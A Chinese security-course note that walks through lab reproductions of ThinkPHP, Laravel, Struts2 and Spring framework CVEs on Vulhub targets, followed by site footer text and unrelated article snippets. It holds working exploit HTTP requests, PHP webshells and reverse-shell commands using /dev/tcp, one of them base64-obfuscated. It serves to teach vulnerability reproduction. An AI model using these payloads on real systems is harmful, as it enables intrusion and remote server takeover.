第62天:服务攻防-框架安全CVE 复现SpringStrutsLaravelThinkPHP

目录

思维导图

常见语言开发框架:

案例一:PHP-开发框架安全-Thinkphp&Laravel

Thinkphp3.2.x日志泄露

自动化脚本检测

如何getshell

手工注入

​ThinkPHP5 5.0.23

手工注入

工具检测

laravel-cve_2021_3129

案例二:JAVAWEB-开发框架安全-Spring&Struts2

strust2 CVE-2020-17530

cve_2021_31805

spring框架

CVE-2017-4971

CVE-2018-1273

CVE-2022-22963


思维导图

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

框架就是别人写好的成品,例如:文件上传(内置过滤)

案例一:PHP-开发框架安全-Thinkphp&Laravel

如何检测是否是thinkphp开发的?

1. 利用工具wappalyzer,但不一定能检测出来

2.查看返回包

Thinkphp3.2.x日志泄露

thinkphp的默认日志路径为

开启debug模式日志保存在:\Application\Runtime\Logs\Home\

未开启debug模式日志保存在:\Application\Runtime\Logs\Common\

上传代码到服务器上

上传恶意代码到服务器上,需包含其文件相对或绝对路径

/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]

模块 (m): Home

控制器 (c): Index

动作 (a): index

请求参数:

  • value[_filename] = ./Application/Runtime/Logs/Home/24_04_16.log

含义:

此 URL 表示对 Home 模块下的 Index 控制器中的 index 动作发出的请求,并指定了一个名为 value[_filename] 的请求参数,其值为一个文件路径。此文件路径指向一个日志文件,该日志文件存储在应用程序的 Runtime 目录下的 Logs/Home 子目录中,其名称为 24_04_16.log。

靶场环境:

自动化脚本检测

脚本下载地址:

链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi

点击命令执行,会出现一个日志地址

访问该地址,查看源代码

如何getshell

请求地址的时候会写入日志文件

?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>

日志文件的地址

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_04_16.log

蚁剑测试连接

手工注入

参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

抓包3306端口页面,payload

/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

访问日志文件

ThinkPHP5 5.0.23

靶场位置:Vulhub - Docker-Compose file for vulnerability environment

手工注入

抓包发送到repeater,修改包信息如下

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

复现

获取phpinfo()

getshell,payload

echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4=" | base64 -d > a.php

如果直接传一句话木马的话会被转义

需要先把语句进行base64编码  再用管道符进行base64 -d 解码

格式变了

蚁剑连接

工具检测

命令执行

反弹shell

蚁剑连接

laravel-cve_2021_3129

靶场环境:

插件检测

寻找脚本的思路

发现报过该漏洞,去git上直接搜版本号

脚本:https://github.com/zhzyker/CVE-2021-3129

利用,貌似不能getshell

发现不能getshell直接换个脚本

案例二:JAVAWEB-开发框架安全-Spring&Struts2

strust2:是一个基于 MVC 设计模式的 Web 应用框架

如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

工具直接利用

 知道版本后直接替换,就可以利用执行命令

换一个漏洞也可以直接利用

strust2 CVE-2020-17530

脚本地址:https://github.com/wuzuowei/CVE-2020-17530

命令执行

 getshell

raw_input 为python2的模块,这里反弹shell要用到公网ip,用vulhub搭建一个本地环境

靶场地址:Vulhub - Docker-Compose file for vulnerability environment

利用脚本成功getshell

cve_2021_31805

这里靶场还用的上一个靶场

脚本地址:https://github.com/pyroxenites/s2-062

手工测试payload

POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

 测试

反弹shell

spring框架

spring本身漏洞不多,大部分漏洞都在他的一些分支上

CVE-2017-4971

靶场环境:https://vulhub.org/#/environments/spring/CVE-2017-4971/

访问以后先登录,然后输入账号密码

点击访问id为1的酒店然后预定

点击确认的时候进行抓包

payload包

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

直接发送过去不会反弹shell,原因是由于url编码会导致有些空格等不会识别

进行转码

编码以后成功getshell

CVE-2018-1273

靶场位置:https://vulhub.org/#/environments/spring/CVE-2018-1273/

靶场页面中spring的一些标识

访问user页面输入数据抓包

payload

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

修改命令为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}

未url编码之前不能够反弹shell

编码以后

修改编码以后,并且将connection变为keep-alive成功反弹shell

CVE-2022-22963

靶场环境:Vulhub - Docker-Compose file for vulnerability environment


访问页面

抓包发送到repeater修改数据包,payload包如下

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

 修改命令为反弹shell的命令

这里由于是请求头的原因,就算content-type为url编码格式,也不影响

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/561598.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker (CentOS,ubuntu)安装及常用命令

Docker和虚拟机一样&#xff0c;都拥有环境隔离的能力&#xff0c;但它比虚拟机更加轻量级&#xff0c;可以使资源更大化地得到应用 Client&#xff08;Docker客户端&#xff09;&#xff1a;是Docker的用户界面&#xff0c;可以接受用户命令&#xff08;docker build&#xff…

AD设置覆铜与板子边缘间隔

1、设置板子边缘与覆铜间隔原因 在单个制板或者批量制板时&#xff0c;有时由于机器切割不稳定&#xff0c;造成切到覆铜&#xff0c;板子容易不稳定。为了保证机器切割不切到覆铜&#xff0c;我们可以设置覆铜到板子边缘的间隔。 2、设置方式 打开Design--->Rules&#…

【BUG】前端|GET _MG_0001.JPG 404 (Not Found),hexo博客搭建过程图片路径正确却找不到图片

我的问题 我查了好多资料&#xff0c;结果原因是图片名称开头是_则该文件会被忽略。。。我注意到网上并没有提到这个问题&#xff0c;遂补了一下这篇博客并且汇总了我找到的所有解决办法。 具体检查方式&#xff1a; hexo生成一下静态资源&#xff1a; hexo g会发现这张图片…

JUC面试——⭐⭐Java中的四种引用类型/Threadlocal

四种引用类型 Java 中对象的引用分为四种级别&#xff0c;这四种级别由高到低依次为&#xff1a;强引用、软引用、弱引用和虚引用。 基础知识 强引用&#xff1a;普通使用的引用 强引用是造成 Java 内存泄漏的主要原因之一 软引用&#xff1a; GC内存不够时回收 适用于&…

SpringBoot学习之Kafka下载安装和启动(三十三)

一、Mac环境 1、下载Kafka&#xff1a;Apache Kafka 2、这里我选择的版本是kafka_2.12-3.7.0&#xff0c;下载最新版的Kafka二进制文件&#xff0c;解压到你喜欢的目录&#xff08;建议目录不要带中文&#xff09;。 3、启动ZooKeeper服务&#xff0c;Kafka需要使用ZooKeeper&…

[linux]进程控制——进程等待

一、概念 进程等待&#xff0c;就是通过wait/waitpid的方式&#xff0c;让父进程&#xff08;一般&#xff09;对子进程进行资源回收的等待过程。 二、原因 &#xff08;1&#xff09; 当一个进程在退出的时候&#xff0c;如果不回收&#xff0c;就会变成僵尸状态&#xff0…

【C语言】——内存函数的使用及模拟实现

【C语言】——内存函数的使用及模拟实现 前言一、 m e m c p y memcpy memcpy 函数1.1、函数功能&#xff08;1&#xff09;函数名理解&#xff08;2&#xff09;函数介绍 1.2、函数的使用1.3、函数的模拟实现 二、 m e m m o v e memmove memmove 函数2.1、函数功能2.2、函数的…

Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

Vulnhub靶机 DC-6 详细渗透流程 打靶实战 目录 Vulnhub靶机 DC-6 详细渗透流程 打靶实战一、将靶机导入到虚拟机当中二、渗透测试主机发现端口扫描信息探测web渗透目录爆破爆破后台密码反弹shell搜集有价值信息SSH远程登录提权反弹jens用户权限的shell 提权利用 一、将靶机导入…

Mac 下安装PostgreSQL经验

使用homebrew终端软件管理器去安装PostgreSQL 如果没有安装brew命令执行以下命令 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 沙果开源物联网系统 SagooIoT | SagooIoT 1.使用命令安装postgreSQL brew i…

制作一个RISC-V的操作系统十二-定时器中断

文章目录 CLINT定时器中断mtimemtimecmp机制总体框架流程时间节拍系统时钟代码 CLINT 产生软件中断和定时器中断 定时器中断 mtime 类似计数器&#xff0c;按照硬件对应的固定频率递增 上电后会自动复位为0&#xff0c;有硬件自动完成 mtimecmp 需要自己设置&#xff0…

【SpringBoot实战篇】获取用户详细信息

1 明确需求 1需要获取用户详细信息 2 接口文档 1基本信息 2请求参数 无 3 响应数据 响应数据类型&#xff1a;application/json 响应参数说明&#xff1a; 响应数据样例 3 思路分析 1用户名在请求头里获取 4 开发 4.1 控制器usercontroller GetMapping("/userInfo")p…

Vue3——组件基础

组件基础 1. 组件定义与使用 1.1 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>组件基础&l…

iZotope RX 10 音频修复和增强工具 mac/win

iZotope RX 10 for Mac是一款出色的音频修复和增强工具&#xff0c;凭借其卓越的音频处理技术&#xff0c;能够轻松应对各种音频问题。 无论是背景噪音、回声还是失真&#xff0c;RX 10都能精准去除&#xff0c;还原清晰纯净的音频。同时&#xff0c;它还提供了丰富的增强工具&…

小红书电商运营实战课,从0打造全程实操(65节视频课)

课程内容&#xff1a; 1.小红书的电商介绍 .mp4 2.小红书的开店流程,mp4 3.小红书店铺基础设置介绍 ,mp4 4.小红书店铺产品上架流程 .mp4 5.客服的聊天过程和子账号建立 .mp4 6.店铺营销工具使用和后台活动参加 .mp4 7.小红书产品上架以及拍单教程,mp4 8.小红书如何选品…

第15届蓝桥杯题解

A题 结果&#xff1a;2429042904288 思路很简单 前20个数分别是 20 24 40 48 60 72 80 96 100 120 140 144 160 168 180 192 200 216 220 240 第2 4 6 8 12 ...n个数分别是24的 1倍 2倍 3倍 4倍 6倍 n/2倍 所以第202420242024 个数就是 24的 101210121012倍 B题 答案&am…

在PostgreSQL中如何实现递归查询,例如使用WITH RECURSIVE构建层次结构数据?

文章目录 解决方案使用WITH RECURSIVE进行递归查询示例代码 总结 在PostgreSQL中&#xff0c;递归查询是一种非常强大的工具&#xff0c;它可以用来查询具有层次结构或树形结构的数据。例如&#xff0c;你可能会在员工-经理关系、目录结构或组织结构图中遇到这样的数据。为了处…

嵌入式物联网实战开发笔记-乐鑫ESP32开发环境ESP-IDF搭建【doc.yotill.com】

乐鑫ESP32入门到精通项目开发参考百例下载&#xff1a; 链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;4e33 3.1 ESP-IDF 简介 ESP-IDF&#xff08;Espressif IoT Development Framework&#xff09;是乐鑫&#xff08;Espressif Systems&#xff09;为 ESP 系列…

跨站攻击CSRF实验

1.low等级 先利用Burp抓包 将get响应的url地址复制&#xff0c;发到网页上&#xff08;Low等级到这完成&#xff09; Medium&#xff1a; 再将抓到的包发到Repeater上,对请求中的Referer进行修改&#xff0c;修改成和url一样的地址&#xff0c;修改成功。 在这里修改后发送 然…

Java中的四种引用类型

6.Java中的引用类型 1.强引用 一个对象A被局部变量、静态变量引用了就产生了强引用。因为局部变量、静态变量都是被GC Root对象关联上的&#xff0c;所以被引用的对象A&#xff0c;就在GC Root的引用链上了。只要这一层关系存在&#xff0c;对象A就不会被垃圾回收器回收。所以只…

Fannel和Calico

一 1、路由器下面每一个端口都是一个vlan,隔离了广播包 192.168.1.0和192.168.2.0他们属于不同的vlan,没有三层交换机或者路由器,他们通不了信 不在同一个vlan,也就是子网,包就会走向网关(也就是路由器那里,路由器有路由表。查看目的地192.168.2.0在b口,从b口出去vlan…